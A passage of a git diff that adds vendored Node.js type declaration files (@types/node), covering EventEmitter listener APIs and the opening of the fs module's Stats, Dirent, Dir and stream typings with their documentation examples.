emitter: NodeJS.EventEmitter, + eventName: string | symbol, + options?: StaticEventEmitterIteratorOptions, + ): AsyncIterableIterator; + static on( + emitter: EventTarget, + eventName: string, + options?: StaticEventEmitterIteratorOptions, + ): AsyncIterableIterator; + /** + * A class method that returns the number of listeners for the given `eventName` registered on the given `emitter`. + * + * ```js + * import { EventEmitter, listenerCount } from 'node:events'; + * + * const myEmitter = new EventEmitter(); + * myEmitter.on('event', () => {}); + * myEmitter.on('event', () => {}); + * console.log(listenerCount(myEmitter, 'event')); + * // Prints: 2 + * ``` + * @since v0.9.12 + * @deprecated Since v3.2.0 - Use `listenerCount` instead. + * @param emitter The emitter to query + * @param eventName The event name + */ + static listenerCount(emitter: NodeJS.EventEmitter, eventName: string | symbol): number; + /** + * Returns a copy of the array of listeners for the event named `eventName`. + * + * For `EventEmitter`s this behaves exactly the same as calling `.listeners` on + * the emitter. + * + * For `EventTarget`s this is the only way to get the event listeners for the + * event target. This is useful for debugging and diagnostic purposes. + * + * ```js + * import { getEventListeners, EventEmitter } from 'node:events'; + * + * { + * const ee = new EventEmitter(); + * const listener = () => console.log('Events are fun'); + * ee.on('foo', listener); + * console.log(getEventListeners(ee, 'foo')); // [ [Function: listener] ] + * } + * { + * const et = new EventTarget(); + * const listener = () => console.log('Events are fun'); + * et.addEventListener('foo', listener); + * console.log(getEventListeners(et, 'foo')); // [ [Function: listener] ] + * } + * ``` + * @since v15.2.0, v14.17.0 + */ + static getEventListeners(emitter: EventTarget | NodeJS.EventEmitter, name: string | symbol): Function[]; + /** + * Returns the currently set max amount of listeners. + * + * For `EventEmitter`s this behaves exactly the same as calling `.getMaxListeners` on + * the emitter. + * + * For `EventTarget`s this is the only way to get the max event listeners for the + * event target. If the number of event handlers on a single EventTarget exceeds + * the max set, the EventTarget will print a warning. + * + * ```js + * import { getMaxListeners, setMaxListeners, EventEmitter } from 'node:events'; + * + * { + * const ee = new EventEmitter(); + * console.log(getMaxListeners(ee)); // 10 + * setMaxListeners(11, ee); + * console.log(getMaxListeners(ee)); // 11 + * } + * { + * const et = new EventTarget(); + * console.log(getMaxListeners(et)); // 10 + * setMaxListeners(11, et); + * console.log(getMaxListeners(et)); // 11 + * } + * ``` + * @since v19.9.0 + */ + static getMaxListeners(emitter: EventTarget | NodeJS.EventEmitter): number; + /** + * ```js + * import { setMaxListeners, EventEmitter } from 'node:events'; + * + * const target = new EventTarget(); + * const emitter = new EventEmitter(); + * + * setMaxListeners(5, target, emitter); + * ``` + * @since v15.4.0 + * @param n A non-negative number. The maximum number of listeners per `EventTarget` event. + * @param eventTargets Zero or more {EventTarget} or {EventEmitter} instances. If none are specified, `n` is set as the default max for all newly created {EventTarget} and {EventEmitter} + * objects. + */ + static setMaxListeners(n?: number, ...eventTargets: Array): void; + /** + * Listens once to the `abort` event on the provided `signal`. + * + * Listening to the `abort` event on abort signals is unsafe and may + * lead to resource leaks since another third party with the signal can + * call `e.stopImmediatePropagation()`. Unfortunately Node.js cannot change + * this since it would violate the web standard. Additionally, the original + * API makes it easy to forget to remove listeners. + * + * This API allows safely using `AbortSignal`s in Node.js APIs by solving these + * two issues by listening to the event such that `stopImmediatePropagation` does + * not prevent the listener from running. + * + * Returns a disposable so that it may be unsubscribed from more easily. + * + * ```js + * import { addAbortListener } from 'node:events'; + * + * function example(signal) { + * let disposable; + * try { + * signal.addEventListener('abort', (e) => e.stopImmediatePropagation()); + * disposable = addAbortListener(signal, (e) => { + * // Do something when signal is aborted. + * }); + * } finally { + * disposable?.[Symbol.dispose](); + * } + * } + * ``` + * @since v20.5.0 + * @experimental + * @return Disposable that removes the `abort` listener. + */ + static addAbortListener(signal: AbortSignal, resource: (event: Event) => void): Disposable; + /** + * This symbol shall be used to install a listener for only monitoring `'error'` events. Listeners installed using this symbol are called before the regular `'error'` listeners are called. + * + * Installing a listener using this symbol does not change the behavior once an `'error'` event is emitted. Therefore, the process will still crash if no + * regular `'error'` listener is installed. + * @since v13.6.0, v12.17.0 + */ + static readonly errorMonitor: unique symbol; + /** + * Value: `Symbol.for('nodejs.rejection')` + * + * See how to write a custom `rejection handler`. + * @since v13.4.0, v12.16.0 + */ + static readonly captureRejectionSymbol: unique symbol; + /** + * Value: [boolean](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type) + * + * Change the default `captureRejections` option on all new `EventEmitter` objects. + * @since v13.4.0, v12.16.0 + */ + static captureRejections: boolean; + /** + * By default, a maximum of `10` listeners can be registered for any single + * event. This limit can be changed for individual `EventEmitter` instances + * using the `emitter.setMaxListeners(n)` method. To change the default + * for _all_`EventEmitter` instances, the `events.defaultMaxListeners` property + * can be used. If this value is not a positive number, a `RangeError` is thrown. + * + * Take caution when setting the `events.defaultMaxListeners` because the + * change affects _all_ `EventEmitter` instances, including those created before + * the change is made. However, calling `emitter.setMaxListeners(n)` still has + * precedence over `events.defaultMaxListeners`. + * + * This is not a hard limit. The `EventEmitter` instance will allow + * more listeners to be added but will output a trace warning to stderr indicating + * that a "possible EventEmitter memory leak" has been detected. For any single + * `EventEmitter`, the `emitter.getMaxListeners()` and `emitter.setMaxListeners()` methods can be used to + * temporarily avoid this warning: + * + * ```js + * import { EventEmitter } from 'node:events'; + * const emitter = new EventEmitter(); + * emitter.setMaxListeners(emitter.getMaxListeners() + 1); + * emitter.once('event', () => { + * // do stuff + * emitter.setMaxListeners(Math.max(emitter.getMaxListeners() - 1, 0)); + * }); + * ``` + * + * The `--trace-warnings` command-line flag can be used to display the + * stack trace for such warnings. + * + * The emitted warning can be inspected with `process.on('warning')` and will + * have the additional `emitter`, `type`, and `count` properties, referring to + * the event emitter instance, the event's name and the number of attached + * listeners, respectively. + * Its `name` property is set to `'MaxListenersExceededWarning'`. + * @since v0.11.2 + */ + static defaultMaxListeners: number; + } + import internal = require("node:events"); + namespace EventEmitter { + // Should just be `export { EventEmitter }`, but that doesn't work in TypeScript 3.4 + export { internal as EventEmitter }; + export interface Abortable { + /** + * When provided the corresponding `AbortController` can be used to cancel an asynchronous action. + */ + signal?: AbortSignal | undefined; + } + + export interface EventEmitterReferencingAsyncResource extends AsyncResource { + readonly eventEmitter: EventEmitterAsyncResource; + } + + export interface EventEmitterAsyncResourceOptions extends AsyncResourceOptions, EventEmitterOptions { + /** + * The type of async event, this is required when instantiating `EventEmitterAsyncResource` + * directly rather than as a child class. + * @default new.target.name if instantiated as a child class. + */ + name?: string; + } + + /** + * Integrates `EventEmitter` with `AsyncResource` for `EventEmitter`s that + * require manual async tracking. Specifically, all events emitted by instances + * of `events.EventEmitterAsyncResource` will run within its `async context`. + * + * ```js + * import { EventEmitterAsyncResource, EventEmitter } from 'node:events'; + * import { notStrictEqual, strictEqual } from 'node:assert'; + * import { executionAsyncId, triggerAsyncId } from 'node:async_hooks'; + * + * // Async tracking tooling will identify this as 'Q'. + * const ee1 = new EventEmitterAsyncResource({ name: 'Q' }); + * + * // 'foo' listeners will run in the EventEmitters async context. + * ee1.on('foo', () => { + * strictEqual(executionAsyncId(), ee1.asyncId); + * strictEqual(triggerAsyncId(), ee1.triggerAsyncId); + * }); + * + * const ee2 = new EventEmitter(); + * + * // 'foo' listeners on ordinary EventEmitters that do not track async + * // context, however, run in the same async context as the emit(). + * ee2.on('foo', () => { + * notStrictEqual(executionAsyncId(), ee2.asyncId); + * notStrictEqual(triggerAsyncId(), ee2.triggerAsyncId); + * }); + * + * Promise.resolve().then(() => { + * ee1.emit('foo'); + * ee2.emit('foo'); + * }); + * ``` + * + * The `EventEmitterAsyncResource` class has the same methods and takes the + * same options as `EventEmitter` and `AsyncResource` themselves. + * @since v17.4.0, v16.14.0 + */ + export class EventEmitterAsyncResource extends EventEmitter { + /** + * @param options Only optional in child class. + */ + constructor(options?: EventEmitterAsyncResourceOptions); + /** + * Call all `destroy` hooks. This should only ever be called once. An error will + * be thrown if it is called more than once. This **must** be manually called. If + * the resource is left to be collected by the GC then the `destroy` hooks will + * never be called. + */ + emitDestroy(): void; + /** + * The unique `asyncId` assigned to the resource. + */ + readonly asyncId: number; + /** + * The same triggerAsyncId that is passed to the AsyncResource constructor. + */ + readonly triggerAsyncId: number; + /** + * The returned `AsyncResource` object has an additional `eventEmitter` property + * that provides a reference to this `EventEmitterAsyncResource`. + */ + readonly asyncResource: EventEmitterReferencingAsyncResource; + } + } + global { + namespace NodeJS { + interface EventEmitter = DefaultEventMap> { + [EventEmitter.captureRejectionSymbol]?(error: Error, event: Key, ...args: Args): void; + /** + * Alias for `emitter.on(eventName, listener)`. + * @since v0.1.26 + */ + addListener(eventName: Key, listener: Listener1): this; + /** + * Adds the `listener` function to the end of the listeners array for the event + * named `eventName`. No checks are made to see if the `listener` has already + * been added. Multiple calls passing the same combination of `eventName` and + * `listener` will result in the `listener` being added, and called, multiple times. + * + * ```js + * server.on('connection', (stream) => { + * console.log('someone connected!'); + * }); + * ``` + * + * Returns a reference to the `EventEmitter`, so that calls can be chained. + * + * By default, event listeners are invoked in the order they are added. The `emitter.prependListener()` method can be used as an alternative to add the + * event listener to the beginning of the listeners array. + * + * ```js + * import { EventEmitter } from 'node:events'; + * const myEE = new EventEmitter(); + * myEE.on('foo', () => console.log('a')); + * myEE.prependListener('foo', () => console.log('b')); + * myEE.emit('foo'); + * // Prints: + * // b + * // a + * ``` + * @since v0.1.101 + * @param eventName The name of the event. + * @param listener The callback function + */ + on(eventName: Key, listener: Listener1): this; + /** + * Adds a **one-time** `listener` function for the event named `eventName`. The + * next time `eventName` is triggered, this listener is removed and then invoked. + * + * ```js + * server.once('connection', (stream) => { + * console.log('Ah, we have our first user!'); + * }); + * ``` + * + * Returns a reference to the `EventEmitter`, so that calls can be chained. + * + * By default, event listeners are invoked in the order they are added. The `emitter.prependOnceListener()` method can be used as an alternative to add the + * event listener to the beginning of the listeners array. + * + * ```js + * import { EventEmitter } from 'node:events'; + * const myEE = new EventEmitter(); + * myEE.once('foo', () => console.log('a')); + * myEE.prependOnceListener('foo', () => console.log('b')); + * myEE.emit('foo'); + * // Prints: + * // b + * // a + * ``` + * @since v0.3.0 + * @param eventName The name of the event. + * @param listener The callback function + */ + once(eventName: Key, listener: Listener1): this; + /** + * Removes the specified `listener` from the listener array for the event named `eventName`. + * + * ```js + * const callback = (stream) => { + * console.log('someone connected!'); + * }; + * server.on('connection', callback); + * // ... + * server.removeListener('connection', callback); + * ``` + * + * `removeListener()` will remove, at most, one instance of a listener from the + * listener array. If any single listener has been added multiple times to the + * listener array for the specified `eventName`, then `removeListener()` must be + * called multiple times to remove each instance. + * + * Once an event is emitted, all listeners attached to it at the + * time of emitting are called in order. This implies that any `removeListener()` or `removeAllListeners()` calls _after_ emitting and _before_ the last listener finishes execution + * will not remove them from`emit()` in progress. Subsequent events behave as expected. + * + * ```js + * import { EventEmitter } from 'node:events'; + * class MyEmitter extends EventEmitter {} + * const myEmitter = new MyEmitter(); + * + * const callbackA = () => { + * console.log('A'); + * myEmitter.removeListener('event', callbackB); + * }; + * + * const callbackB = () => { + * console.log('B'); + * }; + * + * myEmitter.on('event', callbackA); + * + * myEmitter.on('event', callbackB); + * + * // callbackA removes listener callbackB but it will still be called. + * // Internal listener array at time of emit [callbackA, callbackB] + * myEmitter.emit('event'); + * // Prints: + * // A + * // B + * + * // callbackB is now removed. + * // Internal listener array [callbackA] + * myEmitter.emit('event'); + * // Prints: + * // A + * ``` + * + * Because listeners are managed using an internal array, calling this will + * change the position indices of any listener registered _after_ the listener + * being removed. This will not impact the order in which listeners are called, + * but it means that any copies of the listener array as returned by + * the `emitter.listeners()` method will need to be recreated. + * + * When a single function has been added as a handler multiple times for a single + * event (as in the example below), `removeListener()` will remove the most + * recently added instance. In the example the `once('ping')` listener is removed: + * + * ```js + * import { EventEmitter } from 'node:events'; + * const ee = new EventEmitter(); + * + * function pong() { + * console.log('pong'); + * } + * + * ee.on('ping', pong); + * ee.once('ping', pong); + * ee.removeListener('ping', pong); + * + * ee.emit('ping'); + * ee.emit('ping'); + * ``` + * + * Returns a reference to the `EventEmitter`, so that calls can be chained. + * @since v0.1.26 + */ + removeListener(eventName: Key, listener: Listener1): this; + /** + * Alias for `emitter.removeListener()`. + * @since v10.0.0 + */ + off(eventName: Key, listener: Listener1): this; + /** + * Removes all listeners, or those of the specified `eventName`. + * + * It is bad practice to remove listeners added elsewhere in the code, + * particularly when the `EventEmitter` instance was created by some other + * component or module (e.g. sockets or file streams). + * + * Returns a reference to the `EventEmitter`, so that calls can be chained. + * @since v0.1.26 + */ + removeAllListeners(eventName?: Key): this; + /** + * By default `EventEmitter`s will print a warning if more than `10` listeners are + * added for a particular event. This is a useful default that helps finding + * memory leaks. The `emitter.setMaxListeners()` method allows the limit to be + * modified for this specific `EventEmitter` instance. The value can be set to `Infinity` (or `0`) to indicate an unlimited number of listeners. + * + * Returns a reference to the `EventEmitter`, so that calls can be chained. + * @since v0.3.5 + */ + setMaxListeners(n: number): this; + /** + * Returns the current max listener value for the `EventEmitter` which is either + * set by `emitter.setMaxListeners(n)` or defaults to {@link defaultMaxListeners}. + * @since v1.0.0 + */ + getMaxListeners(): number; + /** + * Returns a copy of the array of listeners for the event named `eventName`. + * + * ```js + * server.on('connection', (stream) => { + * console.log('someone connected!'); + * }); + * console.log(util.inspect(server.listeners('connection'))); + * // Prints: [ [Function] ] + * ``` + * @since v0.1.26 + */ + listeners(eventName: Key): Array>; + /** + * Returns a copy of the array of listeners for the event named `eventName`, + * including any wrappers (such as those created by `.once()`). + * + * ```js + * import { EventEmitter } from 'node:events'; + * const emitter = new EventEmitter(); + * emitter.once('log', () => console.log('log once')); + * + * // Returns a new Array with a function `onceWrapper` which has a property + * // `listener` which contains the original listener bound above + * const listeners = emitter.rawListeners('log'); + * const logFnWrapper = listeners[0]; + * + * // Logs "log once" to the console and does not unbind the `once` event + * logFnWrapper.listener(); + * + * // Logs "log once" to the console and removes the listener + * logFnWrapper(); + * + * emitter.on('log', () => console.log('log persistently')); + * // Will return a new Array with a single function bound by `.on()` above + * const newListeners = emitter.rawListeners('log'); + * + * // Logs "log persistently" twice + * newListeners[0](); + * emitter.emit('log'); + * ``` + * @since v9.4.0 + */ + rawListeners(eventName: Key): Array>; + /** + * Synchronously calls each of the listeners registered for the event named `eventName`, in the order they were registered, passing the supplied arguments + * to each. + * + * Returns `true` if the event had listeners, `false` otherwise. + * + * ```js + * import { EventEmitter } from 'node:events'; + * const myEmitter = new EventEmitter(); + * + * // First listener + * myEmitter.on('event', function firstListener() { + * console.log('Helloooo! first listener'); + * }); + * // Second listener + * myEmitter.on('event', function secondListener(arg1, arg2) { + * console.log(`event with parameters ${arg1}, ${arg2} in second listener`); + * }); + * // Third listener + * myEmitter.on('event', function thirdListener(...args) { + * const parameters = args.join(', '); + * console.log(`event with parameters ${parameters} in third listener`); + * }); + * + * console.log(myEmitter.listeners('event')); + * + * myEmitter.emit('event', 1, 2, 3, 4, 5); + * + * // Prints: + * // [ + * // [Function: firstListener], + * // [Function: secondListener], + * // [Function: thirdListener] + * // ] + * // Helloooo! first listener + * // event with parameters 1, 2 in second listener + * // event with parameters 1, 2, 3, 4, 5 in third listener + * ``` + * @since v0.1.26 + */ + emit(eventName: Key, ...args: Args): boolean; + /** + * Returns the number of listeners listening for the event named `eventName`. + * If `listener` is provided, it will return how many times the listener is found + * in the list of the listeners of the event. + * @since v3.2.0 + * @param eventName The name of the event being listened for + * @param listener The event handler function + */ + listenerCount(eventName: Key, listener?: Listener2): number; + /** + * Adds the `listener` function to the _beginning_ of the listeners array for the + * event named `eventName`. No checks are made to see if the `listener` has + * already been added. Multiple calls passing the same combination of `eventName` + * and `listener` will result in the `listener` being added, and called, multiple times. + * + * ```js + * server.prependListener('connection', (stream) => { + * console.log('someone connected!'); + * }); + * ``` + * + * Returns a reference to the `EventEmitter`, so that calls can be chained. + * @since v6.0.0 + * @param eventName The name of the event. + * @param listener The callback function + */ + prependListener(eventName: Key, listener: Listener1): this; + /** + * Adds a **one-time**`listener` function for the event named `eventName` to the _beginning_ of the listeners array. The next time `eventName` is triggered, this + * listener is removed, and then invoked. + * + * ```js + * server.prependOnceListener('connection', (stream) => { + * console.log('Ah, we have our first user!'); + * }); + * ``` + * + * Returns a reference to the `EventEmitter`, so that calls can be chained. + * @since v6.0.0 + * @param eventName The name of the event. + * @param listener The callback function + */ + prependOnceListener(eventName: Key, listener: Listener1): this; + /** + * Returns an array listing the events for which the emitter has registered + * listeners. The values in the array are strings or `Symbol`s. + * + * ```js + * import { EventEmitter } from 'node:events'; + * + * const myEE = new EventEmitter(); + * myEE.on('foo', () => {}); + * myEE.on('bar', () => {}); + * + * const sym = Symbol('symbol'); + * myEE.on(sym, () => {}); + * + * console.log(myEE.eventNames()); + * // Prints: [ 'foo', 'bar', Symbol(symbol) ] + * ``` + * @since v6.0.0 + */ + eventNames(): Array<(string | symbol) & Key2>; + } + } + } + export = EventEmitter; +} +declare module "node:events" { + import events = require("events"); + export = events; +} diff --git a/node_modules/@types/node/fs.d.ts b/node_modules/@types/node/fs.d.ts new file mode 100644 index 000000000000..9e3669fdfb86 --- /dev/null +++ b/node_modules/@types/node/fs.d.ts @@ -0,0 +1,4390 @@ +/** + * The `node:fs` module enables interacting with the file system in a + * way modeled on standard POSIX functions. + * + * To use the promise-based APIs: + * + * ```js + * import * as fs from 'node:fs/promises'; + * ``` + * + * To use the callback and sync APIs: + * + * ```js + * import * as fs from 'node:fs'; + * ``` + * + * All file system operations have synchronous, callback, and promise-based + * forms, and are accessible using both CommonJS syntax and ES6 Modules (ESM). + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/fs.js) + */ +declare module "fs" { + import * as stream from "node:stream"; + import { Abortable, EventEmitter } from "node:events"; + import { URL } from "node:url"; + import * as promises from "node:fs/promises"; + export { promises }; + /** + * Valid types for path values in "fs". + */ + export type PathLike = string | Buffer | URL; + export type PathOrFileDescriptor = PathLike | number; + export type TimeLike = string | number | Date; + export type NoParamCallback = (err: NodeJS.ErrnoException | null) => void; + export type BufferEncodingOption = + | "buffer" + | { + encoding: "buffer"; + }; + export interface ObjectEncodingOptions { + encoding?: BufferEncoding | null | undefined; + } + export type EncodingOption = ObjectEncodingOptions | BufferEncoding | undefined | null; + export type OpenMode = number | string; + export type Mode = number | string; + export interface StatsBase { + isFile(): boolean; + isDirectory(): boolean; + isBlockDevice(): boolean; + isCharacterDevice(): boolean; + isSymbolicLink(): boolean; + isFIFO(): boolean; + isSocket(): boolean; + dev: T; + ino: T; + mode: T; + nlink: T; + uid: T; + gid: T; + rdev: T; + size: T; + blksize: T; + blocks: T; + atimeMs: T; + mtimeMs: T; + ctimeMs: T; + birthtimeMs: T; + atime: Date; + mtime: Date; + ctime: Date; + birthtime: Date; + } + export interface Stats extends StatsBase {} + /** + * A `fs.Stats` object provides information about a file. + * + * Objects returned from {@link stat}, {@link lstat}, {@link fstat}, and + * their synchronous counterparts are of this type. + * If `bigint` in the `options` passed to those methods is true, the numeric values + * will be `bigint` instead of `number`, and the object will contain additional + * nanosecond-precision properties suffixed with `Ns`. `Stat` objects are not to be created directly using the `new` keyword. + * + * ```console + * Stats { + * dev: 2114, + * ino: 48064969, + * mode: 33188, + * nlink: 1, + * uid: 85, + * gid: 100, + * rdev: 0, + * size: 527, + * blksize: 4096, + * blocks: 8, + * atimeMs: 1318289051000.1, + * mtimeMs: 1318289051000.1, + * ctimeMs: 1318289051000.1, + * birthtimeMs: 1318289051000.1, + * atime: Mon, 10 Oct 2011 23:24:11 GMT, + * mtime: Mon, 10 Oct 2011 23:24:11 GMT, + * ctime: Mon, 10 Oct 2011 23:24:11 GMT, + * birthtime: Mon, 10 Oct 2011 23:24:11 GMT } + * ``` + * + * `bigint` version: + * + * ```console + * BigIntStats { + * dev: 2114n, + * ino: 48064969n, + * mode: 33188n, + * nlink: 1n, + * uid: 85n, + * gid: 100n, + * rdev: 0n, + * size: 527n, + * blksize: 4096n, + * blocks: 8n, + * atimeMs: 1318289051000n, + * mtimeMs: 1318289051000n, + * ctimeMs: 1318289051000n, + * birthtimeMs: 1318289051000n, + * atimeNs: 1318289051000000000n, + * mtimeNs: 1318289051000000000n, + * ctimeNs: 1318289051000000000n, + * birthtimeNs: 1318289051000000000n, + * atime: Mon, 10 Oct 2011 23:24:11 GMT, + * mtime: Mon, 10 Oct 2011 23:24:11 GMT, + * ctime: Mon, 10 Oct 2011 23:24:11 GMT, + * birthtime: Mon, 10 Oct 2011 23:24:11 GMT } + * ``` + * @since v0.1.21 + */ + export class Stats { + private constructor(); + } + export interface StatsFsBase { + /** Type of file system. */ + type: T; + /** Optimal transfer block size. */ + bsize: T; + /** Total data blocks in file system. */ + blocks: T; + /** Free blocks in file system. */ + bfree: T; + /** Available blocks for unprivileged users */ + bavail: T; + /** Total file nodes in file system. */ + files: T; + /** Free file nodes in file system. */ + ffree: T; + } + export interface StatsFs extends StatsFsBase {} + /** + * Provides information about a mounted file system. + * + * Objects returned from {@link statfs} and its synchronous counterpart are of + * this type. If `bigint` in the `options` passed to those methods is `true`, the + * numeric values will be `bigint` instead of `number`. + * + * ```console + * StatFs { + * type: 1397114950, + * bsize: 4096, + * blocks: 121938943, + * bfree: 61058895, + * bavail: 61058895, + * files: 999, + * ffree: 1000000 + * } + * ``` + * + * `bigint` version: + * + * ```console + * StatFs { + * type: 1397114950n, + * bsize: 4096n, + * blocks: 121938943n, + * bfree: 61058895n, + * bavail: 61058895n, + * files: 999n, + * ffree: 1000000n + * } + * ``` + * @since v19.6.0, v18.15.0 + */ + export class StatsFs {} + export interface BigIntStatsFs extends StatsFsBase {} + export interface StatFsOptions { + bigint?: boolean | undefined; + } + /** + * A representation of a directory entry, which can be a file or a subdirectory + * within the directory, as returned by reading from an `fs.Dir`. The + * directory entry is a combination of the file name and file type pairs. + * + * Additionally, when {@link readdir} or {@link readdirSync} is called with + * the `withFileTypes` option set to `true`, the resulting array is filled with `fs.Dirent` objects, rather than strings or `Buffer` s. + * @since v10.10.0 + */ + export class Dirent { + /** + * Returns `true` if the `fs.Dirent` object describes a regular file. + * @since v10.10.0 + */ + isFile(): boolean; + /** + * Returns `true` if the `fs.Dirent` object describes a file system + * directory. + * @since v10.10.0 + */ + isDirectory(): boolean; + /** + * Returns `true` if the `fs.Dirent` object describes a block device. + * @since v10.10.0 + */ + isBlockDevice(): boolean; + /** + * Returns `true` if the `fs.Dirent` object describes a character device. + * @since v10.10.0 + */ + isCharacterDevice(): boolean; + /** + * Returns `true` if the `fs.Dirent` object describes a symbolic link. + * @since v10.10.0 + */ + isSymbolicLink(): boolean; + /** + * Returns `true` if the `fs.Dirent` object describes a first-in-first-out + * (FIFO) pipe. + * @since v10.10.0 + */ + isFIFO(): boolean; + /** + * Returns `true` if the `fs.Dirent` object describes a socket. + * @since v10.10.0 + */ + isSocket(): boolean; + /** + * The file name that this `fs.Dirent` object refers to. The type of this + * value is determined by the `options.encoding` passed to {@link readdir} or {@link readdirSync}. + * @since v10.10.0 + */ + name: string; + /** + * The base path that this `fs.Dirent` object refers to. + * @since v20.12.0 + */ + parentPath: string; + /** + * Alias for `dirent.parentPath`. + * @since v20.1.0 + * @deprecated Since v20.12.0 + */ + path: string; + } + /** + * A class representing a directory stream. + * + * Created by {@link opendir}, {@link opendirSync}, or `fsPromises.opendir()`. + * + * ```js + * import { opendir } from 'node:fs/promises'; + * + * try { + * const dir = await opendir('./'); + * for await (const dirent of dir) + * console.log(dirent.name); + * } catch (err) { + * console.error(err); + * } + * ``` + * + * When using the async iterator, the `fs.Dir` object will be automatically + * closed after the iterator exits. + * @since v12.12.0 + */ + export class Dir implements AsyncIterable { + /** + * The read-only path of this directory as was provided to {@link opendir},{@link opendirSync}, or `fsPromises.opendir()`. + * @since v12.12.0 + */ + readonly path: string; + /** + * Asynchronously iterates over the directory via `readdir(3)` until all entries have been read. + */ + [Symbol.asyncIterator](): AsyncIterableIterator; + /** + * Asynchronously close the directory's underlying resource handle. + * Subsequent reads will result in errors. + * + * A promise is returned that will be fulfilled after the resource has been + * closed. + * @since v12.12.0 + */ + close(): Promise; + close(cb: NoParamCallback): void; + /** + * Synchronously close the directory's underlying resource handle. + * Subsequent reads will result in errors. + * @since v12.12.0 + */ + closeSync(): void; + /** + * Asynchronously read the next directory entry via [`readdir(3)`](http://man7.org/linux/man-pages/man3/readdir.3.html) as an `fs.Dirent`. + * + * A promise is returned that will be fulfilled with an `fs.Dirent`, or `null` if there are no more directory entries to read. + * + * Directory entries returned by this function are in no particular order as + * provided by the operating system's underlying directory mechanisms. + * Entries added or removed while iterating over the directory might not be + * included in the iteration results. + * @since v12.12.0 + * @return containing {fs.Dirent|null} + */ + read(): Promise; + read(cb: (err: NodeJS.ErrnoException | null, dirEnt: Dirent | null) => void): void; + /** + * Synchronously read the next directory entry as an `fs.Dirent`. See the + * POSIX [`readdir(3)`](http://man7.org/linux/man-pages/man3/readdir.3.html) documentation for more detail. + * + * If there are no more directory entries to read, `null` will be returned. + * + * Directory entries returned by this function are in no particular order as + * provided by the operating system's underlying directory mechanisms. + * Entries added or removed while iterating over the directory might not be + * included in the iteration results. + * @since v12.12.0 + */ + readSync(): Dirent | null; + } + /** + * Class: fs.StatWatcher + * @since v14.3.0, v12.20.0 + * Extends `EventEmitter` + * A successful call to {@link watchFile} method will return a new fs.StatWatcher object. + */ + export interface StatWatcher extends EventEmitter { + /** + * When called, requests that the Node.js event loop _not_ exit so long as the `fs.StatWatcher` is active. Calling `watcher.ref()` multiple times will have + * no effect. + * + * By default, all `fs.StatWatcher` objects are "ref'ed", making it normally + * unnecessary to call `watcher.ref()` unless `watcher.unref()` had been + * called previously. + * @since v14.3.0, v12.20.0 + */ + ref(): this; + /** + * When called, the active `fs.StatWatcher` object will not require the Node.js + * event loop to remain active. If there is no other activity keeping the + * event loop running, the process may exit before the `fs.StatWatcher` object's + * callback is invoked. Calling `watcher.unref()` multiple times will have + * no effect. + * @since v14.3.0, v12.20.0 + */ + unref(): this; + } + export interface FSWatcher extends EventEmitter { + /** + * Stop watching for changes on the given `fs.FSWatcher`. Once stopped, the `fs.FSWatcher` object is no longer usable. + * @since v0.5.8 + */ + close(): void; + /** + * When called, requests that the Node.js event loop _not_ exit so long as the `fs.FSWatcher` is active. Calling `watcher.ref()` multiple times will have + * no effect. + * + * By default, all `fs.FSWatcher` objects are "ref'ed", making it normally + * unnecessary to call `watcher.ref()` unless `watcher.unref()` had been + * called previously. + * @since v14.3.0, v12.20.0 + */ + ref(): this; + /** + * When called, the active `fs.FSWatcher` object will not require the Node.js + * event loop to remain active. If there is no other activity keeping the + * event loop running, the process may exit before the `fs.FSWatcher` object's + * callback is invoked. Calling `watcher.unref()` multiple times will have + * no effect. + * @since v14.3.0, v12.20.0 + */ + unref(): this; + /** + * events.EventEmitter + * 1. change + * 2. close + * 3. error + */ + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "change", listener: (eventType: string, filename: string | Buffer) => void): this; + addListener(event: "close", listener: () => void): this; + addListener(event: "error", listener: (error: Error) => void): this; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "change", listener: (eventType: string, filename: string | Buffer) => void): this; + on(event: "close", listener: () => void): this; + on(event: "error", listener: (error: Error) => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "change", listener: (eventType: string, filename: string | Buffer) => void): this; + once(event: "close", listener: () => void): this; + once(event: "error", listener: (error: Error) => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "change", listener: (eventType: string, filename: string | Buffer) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "error", listener: (error: Error) => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "change", listener: (eventType: string, filename: string | Buffer) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "error", listener: (error: Error) => void): this; + } + /** + * Instances of `fs.ReadStream` are created and returned using the {@link createReadStream} function. + * @since v0.1.93 + */ + export class ReadStream extends stream.Readable { + close(callback?: (err?: NodeJS.ErrnoException | null) => void): void; + /** + * The number of bytes that have been read so far. + * @since v6.4.0 + */ + bytesRead: number; + /** + * The path to the file the stream is reading from as specified in the first + * argument to `fs.createReadStream()`. If `path` is passed as a string, then`readStream.path` will be a string. If `path` is passed as a `Buffer`, then`readStream.path` will be a + * `Buffer`. If `fd` is specified, then`readStream.path` will be `undefined`. + * @since v0.1.93 + */ + path: string | Buffer; + /** + * This property is `true` if the underlying file has not been opened yet, + * i.e. before the `'ready'` event is emitted. + * @since v11.2.0, v10.16.0 + */ + pending: boolean; + /** + * events.EventEmitter + * 1. open + * 2. close + * 3. ready + */ + addListener(event: "close", listener: () => void): this; + addListener(event: "data", listener: (chunk: Buffer | string) => void): this; + addListener(event: "end", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "open", listener: (fd: number) => void): this; + addListener(event: "pause", listener: () => void): this; + addListener(event: "readable", listener: () => void): this; + addListener(event: "ready", listener: () => void): this; + addListener(event: "resume", listener: () => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + on(event: "close", listener: () => void): this; + on(event: "data", listener: (chunk: Buffer | string) => void): this; + on(event: "end", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "open", listener: (fd: number) => void): this; + on(event: "pause", listener: () => void): this; + on(event: "readable", listener: () => void): this; + on(event: "ready", listener: () => void): this; + on(event: "resume", listener: () => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "data", listener: (chunk: Buffer | string) => void): this; + once(event: "end", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "open", listener: (fd: number) => void): this; + once(event: "pause", listener: () => void): 